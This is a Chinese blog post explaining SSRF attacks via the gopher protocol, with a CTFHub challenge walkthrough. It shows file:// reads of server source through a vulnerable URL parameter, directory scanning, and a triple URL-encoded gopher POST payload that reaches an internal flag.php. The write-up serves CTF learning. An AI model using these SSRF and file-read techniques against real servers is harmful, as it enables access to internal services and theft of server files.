前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SSRF之gopher协议深度解析

SSRF之gopher协议深度解析

作者头像
Andromeda
发布2023-10-21 11:20:21
6030
发布2023-10-21 11:20:21
举报
文章被收录于专栏:Andromeda的专栏

什么是gopher协议

Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它。

gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议。

各语言gopher的使用版本限制:

图片[1]-SSRF之gopher协议深度解析-能不能吃完饭再说
图片[1]-SSRF之gopher协议深度解析-能不能吃完饭再说

gopher协议的使用格式(注意 _ 必须):

代码语言:javascript
复制
URL:gopher://<host>:<port>/<gopher-path>_TCP数据流

注意

  • gopher的默认端口是70。
  • 如果发起post请求,回车换行需要使用%0D%0A,如果多个参数,参数之间的&也需要进行URL编码。

使用gopher协议发送HTTP请求

前置知识

在ubuntu使用Gopher协议发送一个请求。

首先nc启动一个监听端口6666。

代码语言:javascript
复制
nc -lp 6666
图片[2]-SSRF之gopher协议深度解析-能不能吃完饭再说
图片[2]-SSRF之gopher协议深度解析-能不能吃完饭再说

再打开一个终端,curl发送请求,此时n监听端口收到数据。

代码语言:javascript
复制
curl gopher://127.0.0.1:6666/_hello
图片[3]-SSRF之gopher协议深度解析-能不能吃完饭再说
图片[3]-SSRF之gopher协议深度解析-能不能吃完饭再说

所以利用gopher发送http请求就是直接构造一个原始的http请求包作为参数传入。

第一步,构造http请求包

第二步,进行url编码,将回车换行编码为%0D%0A

第三部,发送gopher协议

例如get型的http请求。

代码语言:javascript
复制
GET /get.php?a=hello HTTP/1.1
Host: 127.0.0.1

需要注意的是,pos请求t有4个参数为必要参数。

代码语言:javascript
复制
POST /post.php HTTP/1.1
host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
 
a=hello

巩固一下,做道题吧。

例题-SSRF之POST请求

题目来源CTFHub。SSRF系列-POST请求。

dirsearch扫描

先用dirsearch扫一下,发现了flag.php。

代码语言:javascript
复制
python dirsearch.py -u http://challenge-e55f91e6a8770fd2.sandbox.ctfhub.com:10800/?url=127.0.0.1

看一下flag.php,给了我们一个key。

代码语言:javascript
复制
<!-- Debug: key=5b69b89c146e1ed3b90708ffa267f06a -->
图片[4]-SSRF之gopher协议深度解析-能不能吃完饭再说
图片[4]-SSRF之gopher协议深度解析-能不能吃完饭再说
读取flag和index源码

用file协议读取index.php

代码语言:javascript
复制
http://challenge-e55f91e6a8770fd2.sandbox.ctfhub.com:10800/?url=file:///var/www/html/index.php

index.php如下

代码语言:javascript
复制
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
?>

在index.php中可以利用curl传url。

读取flag.php

代码语言:javascript
复制
http://challenge-e55f91e6a8770fd2.sandbox.ctfhub.com:10800/?url=file:///var/www/html/flag.php

flag.php如下

代码语言:javascript
复制
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

分析代码,只需要往flag.php里面传我们前面得到的key即可拿下flag。

构造payload

构造POST请求包。POST包必须包含的四个参数。

gopher默认发送到70端口,我们一般发送到80端口。

代码语言:javascript
复制
POST /flag.php HTTP/1.1
host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=5b69b89c146e1ed3b90708ffa267f06a

进行三次url编码,第一次编码后%0A需全部替换成%0D%0A。

三次编码的原因

传参经过多少次跳转就需要经过多少次url编码。 直接curl后接gopher://就编码一次。 利用?url=gopher://就编码两次。 还经过302跳转,就编码三次。

代码语言:javascript
复制
POST%252520%25252Fflag.php%252520HTTP%25252F1.1%25250D%25250Ahost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application%25252Fx-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D5b69b89c146e1ed3b90708ffa267f06a
图片[5]-SSRF之gopher协议深度解析-能不能吃完饭再说
图片[5]-SSRF之gopher协议深度解析-能不能吃完饭再说
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 什么是gopher协议
  • 使用gopher协议发送HTTP请求
    • 前置知识
      • 例题-SSRF之POST请求
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档